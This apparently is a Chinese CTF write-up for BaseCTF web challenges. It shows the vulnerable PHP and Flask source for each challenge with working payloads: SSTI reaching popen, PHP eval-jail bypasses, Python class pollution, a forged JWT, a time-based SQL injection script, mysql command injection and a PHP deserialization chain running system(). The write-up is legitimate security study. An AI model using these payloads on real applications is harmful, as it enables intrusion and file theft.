11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re
import json

session=requests.Session()
session.cookies.set("PHPSESSID","bsr9th8eakpubabbiteqrus6uj")
def calculate_expression(expression):
try:
# 使用eval来计算表达式,注意eval有安全风险,实际使用时请确保表达式来源安全
return eval(expression)
except Exception as e:
print(f"Error calculating expression {expression}: {e}")
return None

def extract_and_calculate(expression_string):
# 使用正则表达式提取数字和运算符组成的表达式
expression = expression_string.replace('×', '*').replace('÷', '/')
print(expression)
match = re.search( r'\d+[\-\+\*\/]\d+', expression)
print(match)
if match:
exp=match.group(0)
print(exp)
result = calculate_expression(exp)
return result
else:
print("No valid expression found in the string.")
return None

def send_result(result, send_url):
try:
payload = {"answer": result}
response = session.post(send_url, data=payload)
#response.raise_for_status() # 检查请求是否成功
data=response.text
print(response.text)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)
except requests.RequestException as e:
print(f"Failed to send result: {e}")

# 模拟的URL,你需要替换成实际的URL
fetch_url = "http://challenge.basectf.fun:45312/"
send_url = "http://challenge.basectf.fun:45312/"

response = session.get(fetch_url)
#response.raise_for_status() # 检查请求是否成功
data = response.text # 假设返回的是纯文本
print(data)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)

这个是累计50题,所以直接跑就可以

1
2
?K=DirectoryIterator&W=glob:///secret/*
J=SplFileObject&H=/secret/f11444g.php

[Week3] ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

首先先看提交的参数,Jail_by.Happy,这个不是一个合法的参数,所以需要对其合理化,将前面的 _ 替换为[即可

1
?Jail[by.Happy=phpinfo();

这个就是一个rce,但是这里禁用了很多的东西,可以通过提交 phpinfo(); 来查看信息

这里还禁用了许多的字母和字符,我们就可以通过使用php内置函数来进行绕过

1
2
3
4
?Jail[by.Happy=print_r(glob('/f*'));
?Jail[by.Happy=print_r(implode(glob('/f*')));//这里来读取数组里面的内容
?Jail[by.Happy=highlight_file(implode(glob('/f*')));
?Jail[by.Happy=highlight_file(glob('/f*')[0]);

[Week3] 复读机

这里是一个ssti的漏洞

首先需要在开头以BaseCTF,并且禁用了 双大括号 和 __ 还有许多的常见的关键词,比如config,lipsum,还有url_for

这里就需要通过爆破出可以利用的模块,这里尝试通过os,但是发现没有成功,就只能尝试通过其它的模块来执行

1
{{''.__class__.__bases__.__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(500):
url = "http://challenge.basectf.fun:40577/flag"
data={'flag':"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')("+str(i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}"}
res = requests.post(url=url,data=data)
if 'popen' in res.text:
print(i)
break
#137

所以在137这里就有popen,这里就可以通过popen来执行命令

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('ls'))|attr('read')()))%}"}

最面就是通过rce的绕过,/flag,直接通过python的格式化字符串即可进行绕过

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('cat %c%c%c%c%c'%(47,102,108,97,103)))|attr('read')()))%}"}

[Week3] 滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

这里是一个文件包含,并且不可以通过伪协议来进行读取,它提示我们需要在提交中包含一些字母

1
['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']

这里因为不能进行常规的文件包含,所以需要通过包含一些特殊的路径

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

所以就可以通过在bp里面进行构造

[Week3] 玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}

这里先进行一个代码审计

1
sizeof($_POST['len']) == sizeof($array) //这里需要提交的len数组的长度与array长度相同

这里通过脚本跑出长度

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://challenge.basectf.fun:31395/"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
resp=requests.post(url=url,data=data)
if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
print(resp.text)
print(i)
break

然后就是get提交一个tip内容为 我要玩原神

1
2
3
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}

这里后面就要提交一个m,m的长度为2并且m[0]=100%,m[1]=love100%

1
2
3
4
5
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}

这里还是通过脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://challenge.basectf.fun:31395/?tip=我要玩原神"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
# if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
# resp = requests.post(url=url, data=data)
# print(resp.text)
# print(i)
# break
if i==44:
data["m[0]"]="100%"
data["m[1]"]="love100%30bd7ce7de206924302499f197c7a966"
resp = requests.post(url=url, data=data)
print(resp.text)

最后就是通过获取flag里面array,这里array()里面的就是flag了,我们需要对其进行逆操作,首先这里获取了array的长度,取其第ii个元素的ascii码值,异或当前的索引进行异或,再取md5值

1
2
3
4
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

这里就只能看题解来逆操作解码了,$md5_array是json解码的值,然后就可以对其进行逆操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.basectf.fun:31395/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

curl_setopt_array($curl, [
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}

echo "Flag: " . $flag;

[Week4] No JWT

这里给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

很明显是一个jwt session伪造,这个就比较简单了

首先先拿到一个源session值,如果直接进行访问/login是没有的,它会提示你去提交一份json,这里就可以随便提交一个

这里就可以去伪造session访问/flag了

直接将jwt部分放到https://jwt.io/里面进行伪造

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

最后将构造的payload伪造到请求头即可

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

[Week4] flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

这里就是两个类的初始化,但是又不是反序列的题,所以想要读取文件就需要通过php的原生类来读取

首先通过DirectoryIterator来进行目录遍历,配合glob伪协议即可

1
?K=DirectoryIterator&W=glob:///secret/*  //这里可以获取flag文件所在的位置

读取文件就通过SplFileObject,再提交路径即可,最后flag在源码中

1
J=SplFileObject&H=/secret/f11444g.php

[Week4] 圣钥之战1.0

这里提示去读read目录,给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

这里发现了python原型链污染的函数,还真是一点都不变,这里/static/index.html发现可能存在一个静态的代码文件夹,所以就可以去尝试污染一下静态代码文件夹的位置

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

最后的payload就可以得,简单说明一下,通过调用一个类的init魔术方法再调用globals获取全局属性,再修改app下的静态目录地址为当前的目录即可

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后就可以直接访问/static/flag获取flag

[Week4] only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

这里刚开始以为可以rce,但是分析发现,输入的语句还在数据库语句中,所以应该只可以进行sql注入

1
2
show tables //Tables_in_ctf flag
show columns from flag //Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL

这里可以先通过show命令来获取基本的信息

这里禁用了select,不能直接获取,就可以尝试通过盲注的方法来进行读取,题解中给出

1
delete from flag where data like 'B%' and sleep(5)

%表示匹配任意数量的字符,这样就代表了B开头的字符串

这样就可以通过盲注来进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import time

sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789"
flag=''
url = "http://challenge.basectf.fun:40165/"
for i in range(1, 100):
for c in sqlstr:
# print(c)
payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)".format((flag + c))
params = {
'sql': payload
}
start_time = time.time()
r = requests.get(url=url, params=params)
print(r.text)
try:
r = requests.get(url=url,params=params)
print(r.text)
end_time = time.time()
response_time = end_time - start_time
if response_time>1:
print(flag + c)
flag += c
break
except:
print("Request failed")
continue

[Fin] 1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

这里直接提交shell没用,但是最后出的时候调用又可以

首先注意参数的合法,需要将第一个改为[才可以不让后面的.解析为

这里第一个if有两个绕过方法

1
2
?e[m.p=0337522 //这个通过八进制绕过 或者 
?e[m.p=114514.2 //通过小数绕过

后面这两个if有些矛盾,如果想直接绕过很困难,先分析一下

1
2
preg_match('/.+?HACKER/is',$try)//这里通过匹配多个字符在HACKER前面,忽略大小写和通过多行匹配,这里如果HACKER前面没用字符就不会匹配成功
!stripos($try,'HACKER') === TRUE //这里就是如果HACKER在最开始的位置出现就为true

后面的stripos没有办法绕过,但是前面的正则可以通过正则回溯来进行绕过

1
2
3
4
5
6
7
8
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

最后面就是一个原生类调用

1
2
3
4
5
6
7
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

这里需要调用类的一个方法,可以想到通过fgets来读取文件

1
2
3
4
5
6
7
8
9
10
&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

解码即可

这里也可以再提交shell来rce,但是还得构造好payload之后,真的不知道原来干嘛的

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER',
'shell':"system('cat f*');"
}

r = requests.post(url=url, data=data).text
print(r)

[Fin] Jinja Mark

在/index下有一个输入框,当尝试去进行ssti时就出现提示

但是当打开/magic时就需要通过post提交什么东西

先去/flag中看看

这里就可能需要我们去进行爆破的lucky_number,直接通过bp来进行爆破就可以的lucky_number

这里就是5346,提交之后就得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

这里可以看到BLACKLIST_IN_index = [‘{‘,’}’],这里就禁用了{}所以直接ssti就有问题,很明显想让我们通过原型链污染来将其污染掉,其实也挺简单,可能/magic就是污染的地方,将上传的地方改为json再进行上传即可

1
2
3
4
5
6
7
{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index":""
}
}
}

最后就是在index中进行简单的ssti即可

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里再讲一个非预期解,其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag,和第一个的一样

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后访问/static/flag即可

[Fin] Lucky Number

这个直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
你不会以为这里真的有flag吧?
想要flag的话先提交我的幸运数字5346
但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了
但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法
下面是前人留下来的信息,希望对你有用
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

也是一个原型链污染,具体污染什么可以直接通过源码看

1
2
3
4
5
6
7
8
9
#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么

可以看到在heaven.py里面有一个函数就是create里面有两个if需要绕过

第一就是confirm参数为true,其次luckynumber在create._kwdefaults(这个就是create函数关键字参数的默认值的字典)中,这里就是我们的幸运数字,题目直接给了

思路还是一样通过获取全局属性进行修改函数里面kwdefaults的值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"__init__":{
"__globals__":{
"heaven":{
"create":{
"__kwdefaults__":{
"confirm":"True",
"lucky_number":"5346"
}
}
}
}
}
}

最后查看/check给出一个/ssSstTti1最后通过ssti来得flag

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里还是有一个非预期解直接通过静态目录污染即可,我感觉这里是出题人的疏忽吧

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

再访问/static/flag

[Fin] RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这里将sql注入又进行了过滤,所以使用sql注入就不可能了

这里就需要通过rce来读取flag,题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权

1
2
%0asystem whoami //这样通过换行符来执行命令
%0asystem export //通过环境变量读flag

[Fin] ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php 
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

这个题看到一个pop链,就可以先去构造,需要注意的是这里需要绕过throw new Exception(“杂鱼~杂鱼~”); ,所以,这里就需要去提前触发Hacker里面的__destruct(),这里就可以通过php回收机制来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
}

class C{
public $c;
}

class T{
public $t;
}
class F{
public $f;
}
class E{
public $e;
}
class R{
public $r;
}
$a = new Hacker();
$a->end = &$a->username;
$a->start = new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("ls");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);
//a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

序列化的结果在最后有一个i:2;,改为i:1,来提前触发__destruct()

1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

这里就已经完成第一步了,接下来就要看如何提交参数和进行逃逸

参数的合法可以直接将第一个改为[即可 ez[ser.fromyou 否则后面的.会被解析为

接下来就得开始字符串逃逸的操作,首先需要知道一点,可以查看对于比赛的题目来进行类似

https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/#Web

1
2
3
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

这里如果直接将我们构造好的链子上传就变为了

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

前面的其中的38个字符是没有用的,后面的可以不用管,会在序列化时被忽视,所以只需要将前面的去除即可

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{

最后面的payload就出来了

1
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

最后面就直接去读flag即可

1
